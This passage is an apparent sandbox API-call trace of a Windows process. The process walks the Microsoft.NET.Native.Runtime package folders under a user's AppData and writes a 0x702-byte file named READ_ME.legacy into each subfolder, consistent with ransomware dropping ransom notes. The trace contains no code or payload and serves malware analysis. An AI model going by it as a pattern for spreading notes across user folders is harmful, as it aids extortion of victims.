lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.307] CloseHandle (hObject=0x8a8) returned 1 [0154.308] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce14611e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e548 [0154.308] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.308] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd54657, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x343ca99c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x343ca99c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.308] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.310] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.311] CloseHandle (hObject=0x8ac) returned 1 [0154.311] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b173a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.311] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.312] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.313] CloseHandle (hObject=0x8ac) returned 1 [0154.313] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b1db6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.313] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.314] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.314] CloseHandle (hObject=0x8ac) returned 1 [0154.315] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b2577, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.315] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.315] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.316] CloseHandle (hObject=0x8ac) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388f095, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe388f095, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b2c77, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.316] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.317] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.318] CloseHandle (hObject=0x8ac) returned 1 [0154.318] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.318] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.319] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.320] CloseHandle (hObject=0x8ac) returned 1 [0154.320] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce23db47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.320] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0154.321] WriteFile (in: hFile=0x8ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.322] CloseHandle (hObject=0x8ac) returned 1 [0154.322] FindNextFileW (in: hFindFile=0x61e548, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce23db47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.322] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e708 [0154.322] FindNextFileW (in: hFindFile=0x61e708, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.323] FindNextFileW (in: hFindFile=0x61e708, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8a14cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.323] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.3_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0154.333] WriteFile (in: hFile=0x8b0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.334] CloseHandle (hObject=0x8b0) returned 1 [0154.334] FindNextFileW (in: hFindFile=0x61e708, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388f095, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe388f095, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.334] FindNextFileW (in: hFindFile=0x61e708, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388f095, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe388f095, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0154.334] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61eac8 [0154.335] FindNextFileW (in: hFindFile=0x61eac8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.335] FindNextFileW (in: hFindFile=0x61eac8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x94bb4bf1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.335] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.4_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0154.341] WriteFile (in: hFile=0x8b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.342] CloseHandle (hObject=0x8b4) returned 1 [0154.345] FindNextFileW (in: hFindFile=0x61eac8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388f095, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe388f095, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.345] FindNextFileW (in: hFindFile=0x61eac8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388f095, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe388f095, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0154.345] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e688 [0154.346] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe388f095, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.346] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28df8e9e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x35028d59, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35028d59, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.346] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.348] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.348] CloseHandle (hObject=0x8b8) returned 1 [0154.348] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28d3a3d7, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce398197, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28d3a3d7, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.349] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.349] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.350] CloseHandle (hObject=0x8b8) returned 1 [0154.350] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c555af, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce3985e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c555af, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.351] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.353] CloseHandle (hObject=0x8b8) returned 1 [0154.353] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28bbcae8, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce398aca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28bbcae8, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.353] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.353] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, 